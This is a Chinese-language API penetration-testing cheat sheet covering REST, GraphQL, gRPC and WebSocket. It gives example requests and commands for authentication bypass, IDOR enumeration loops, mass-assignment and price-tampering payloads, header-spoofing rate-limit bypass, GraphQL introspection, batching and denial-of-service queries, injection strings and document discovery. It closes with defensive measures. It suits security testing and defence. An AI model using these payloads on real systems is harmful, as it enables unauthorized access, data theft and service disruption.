API 安全测试实战
现代 Web 应用 API 数量已远超传统页面,REST、GraphQL、gRPC 的测试方法各有侧重。
一、API 架构类型
| 类型 | 传输 | 协议 | 特点 |
|---|---|---|---|
| REST | JSON/XML | HTTP | 面向资源,最通用 |
| GraphQL | JSON | HTTP POST | 单端点、按需查询 |
| gRPC | Protobuf | HTTP/2 | 高性能、强类型 |
| WebSocket | JSON | WS/WSS | 全双工、实时通信 |
| SOAP | XML | HTTP | 企业级、遗留系统 |
二、REST API 测试
1. 认证绕过
BASH
# 1. 无认证
GET /api/users → 200 OK → 认证缺失
# 2. Token 未校验
GET /api/admin/users -H "Authorization: Bearer invalid_token" → 200
# 3. 强类型绕过
POST /api/login {"username":"admin","password":true}
# password 布尔值 true → 部分弱校验通过
# 4. HTTP Method 切换
GET /api/admin → 403
PUT /api/admin → 200 # 绕过权限校验
# 5. 版本降级
/api/v2/admin → 403
/api/v1/admin → 200 # 旧版本无权限校验
2. IDOR(越权)
BASH
# 依次尝试不同 ID
GET /api/users/1 → {"name":"user1"}
GET /api/users/2 → {"name":"admin"} # IDOR
# 批量探测
for i in {1..1000}; do
curl -s "https://target.com/api/orders/$i" -o "$i.json"
done
# UUID 不免疫
GET /api/users/550e8400-e29b-41d4-a716-446655440001
# UUID 不可猜测但可泄露(响应中、Referer、日志)
# 关注嵌套查询
GET /api/users/1/orders/2
# 可能跳过"订单归谁"的校验
3. 参数篡改
BASH
# 1. 价格修改
POST /api/order {"product":"laptop","price":0.01}
# 2. 角色修改
POST /api/register {"username":"test","role":"admin"}
# 3. 批量赋值
POST /api/user/update {"name":"test","is_admin":true}
# 后端用 extend / update_all 而非白名单字段
# 4. 参数污染
GET /api/search?q=admin&q=user
# 后端取最后一个 vs 第一个 → 绕过权限
4. Rate Limit 测试
BASH
# 暴力探测
for i in {1..200}; do curl -s -w "%{http_code}\n" https://target.com/api/login -d '...' &; done
# 看是否 429 / 是否有频率限制
# 绕过技巧
X-Forwarded-For: <random_ip>
X-Real-IP: <random_ip>
# 基于 IP 的限流可绕过
5. Mass Assignment 检测
JSON
POST /api/users
{
"username": "test",
"email": "test@test.com",
"password": "Test@123"
}
// 尝试添加额外字段:
{
"username": "test",
"email": "test@test.com",
"password": "Test@123",
"role": "admin",
"isAdmin": true,
"verified": true,
"balance": 999999,
"isActive": true,
"apiKey": "xxx",
"subscription": {"plan":"enterprise","expiry":"2099-12-31"}
}
三、GraphQL 测试
1. 自省查询(Introspection)
GRAPHQL
# 查看所有 Schema
{
__schema {
types { name fields { name type { name kind } } }
}
}
# 获取所有查询
{
__schema {
queryType { fields { name args { name type { name kind } } } }
}
}
# 查找敏感字段
{
__schema {
types { name fields { name } }
}
}
# 搜索 password, token, secret, admin, internal
2. 批量查询绕过权限
GRAPHQL
# 一次性查所有用户(利用别名)
{
a: user(id:1) { id name email }
b: user(id:2) { id name email }
c: user(id:3) { id name email }
...
}
# 同上,用循环
# 工具:https://github.com/nikitastupin/clairvoyance
3. DOS via GraphQL
GRAPHQL
# 深层嵌套查询
{
users {
posts {
comments {
author {
posts {
comments {
author { id }
}
}
}
}
}
}
}
# 可导致数据库大量 JOIN 或内存溢出
# 数组炸弹
query { __typename }
# 10000 个 __typename → CPU 飙升
4. 接口拼接绕过 Token
GRAPHQL
# 绕过查询复杂度限制
mutation {
a: mutation1(input:{name:"x"}) { status }
b: mutation2(input:{name:"x"}) { status }
c: mutation3(input:{name:"x"}) { status }
}
# 50 个 mutation 拼接成一条请求
5. GraphQL 注入
GRAPHQL
# 类似 SQL 注入
{
search(query: "' OR 1=1--") {
results { name }
}
}
四、gRPC 测试
1. 服务发现
BASH
# grpcurl
grpcurl -plaintext target.com:50051 list
grpcurl -plaintext target.com:50051 describe .UserService
grpcurl -plaintext -d '{"id":1}' target.com:50051 UserService/GetUser
2. 认证绕过
BASH
grpcurl -plaintext target.com:50051 AdminService/DeleteUser
# 无 metadata → 测试是否认证
五、API 扫描与文档发现
1. Swagger / OpenAPI
BASH
# 常见路径
/swagger.json
/swagger/v1/swagger.json
/api-docs
/v2/api-docs
/v3/api-docs
/api/swagger/v1
/api/openapi.json
/docs
# 搜索
ffuf -u https://target.com/FUZZ -w api-docs.txt -mc 200
2. JS 文件分析
BASH
# 提取 API 端点
grep -roP '["/](api/v\d+/[A-Za-z0-9_/-]+)' . --include="*.js" | cut -d'"' -f2 | sort -u
3. Postman Collection 泄露
BASH
# Github dork
"target.com" filename:postman_collection.json
"target.com" filename:openapi.json
六、敏感信息泄露
1. 响应信息
JSON
// 密码哈希泄露
{"user":{"password":"$2b$10$xxxxx"}}
// 调试信息
{"debug":{"sql":"SELECT * FROM users WHERE id=1"}}
// 内部路径
{"avatar":"/var/www/uploads/profiles/user1.jpg"}
// API Key
{"config":{"s3_bucket":"prod-data","aws_key":"AKIAXXXX"}}
2. 错误消息泄露
JSON
// SQL 错误
{"error":"You have an error in your SQL syntax; check the manual..."}
// 文件路径
{"error":"File not found: /var/www/config/database.php"}
// 版本号
{"error":"Uncaught Exception at Spring Framework v5.3.12"}
3. 响应头泄露
HTTP
X-Powered-By: PHP/5.6.40
Server: Apache/2.2.15 (CentOS)
X-AspNet-Version: 4.0.30319
X-Amzn-RequestId: xxx
七、WebSocket 测试
JAVASCRIPT
// 浏览器控制台
var ws = new WebSocket('wss://target.com/ws');
ws.onmessage = function(e) { console.log(e.data); };
ws.send('{"type":"admin","action":"list_users"}');
// 劫持已建立的 WebSocket
ws.send('{"type":"get_data","user_id":2}'); // IDOR
// 重放攻击
ws.send('{"type":"transfer","amount":1,"to":"attacker"}');
八、工具清单
| 工具 | 用途 |
|---|---|
| Postman | REST 测试、Pre-request 脚本 |
| Insomnia | GraphQL 测试 |
| Burp Suite | 全链路抓包改包 |
| Arjun | 参数挖掘 |
| Kiterunner | API 端点爆破 |
| Clairvoyance | GraphQL schema 还原 |
| grpcurl | gRPC 服务测试 |
| sqlmap | API 中的 SQL 注入 |
| ffuf / feroxbuster | API 路径扫描 |
九、防御方案
- 统一认证网关:所有 API 通过网关鉴权
- 输入验证:JSON Schema 严格校验
- 输出过滤:不返回多余字段
- Rate Limit:IP + 用户 + Token 三维限制
- GraphQL 防护:关闭 Introspection、深度限制、查询成本计算
- API 版本管理:废弃接口立即下线
- 日志 + 监控:API 调用异常检测
十、实战经验
- 多看 JS:现代 Web 的 API 全部在 JS 中调用,
main.*.js几乎包含所有端点。 - 测 IDOR 首选批量:有了 200 OK 接口,自动 1-1000 爆破了,Sudden Death。
- GraphQL 先看 Introspection:开自省的 GraphQL 就是把自己扒光给攻击者看,字段、权限一览无余。
- mass assignment 是最被忽视的:几乎所有现代的 ORM 都容易中招,测注册/更新接口必加
role=admin。 - 错误消息即情报:一有异常,先看错误消息,版本号和框架名直接决定下一步攻击路径。
- WebSocket 别忘记:传统的 Burp 默认不抓 WebSocket 流量,手动配置 proxy 才能抓到。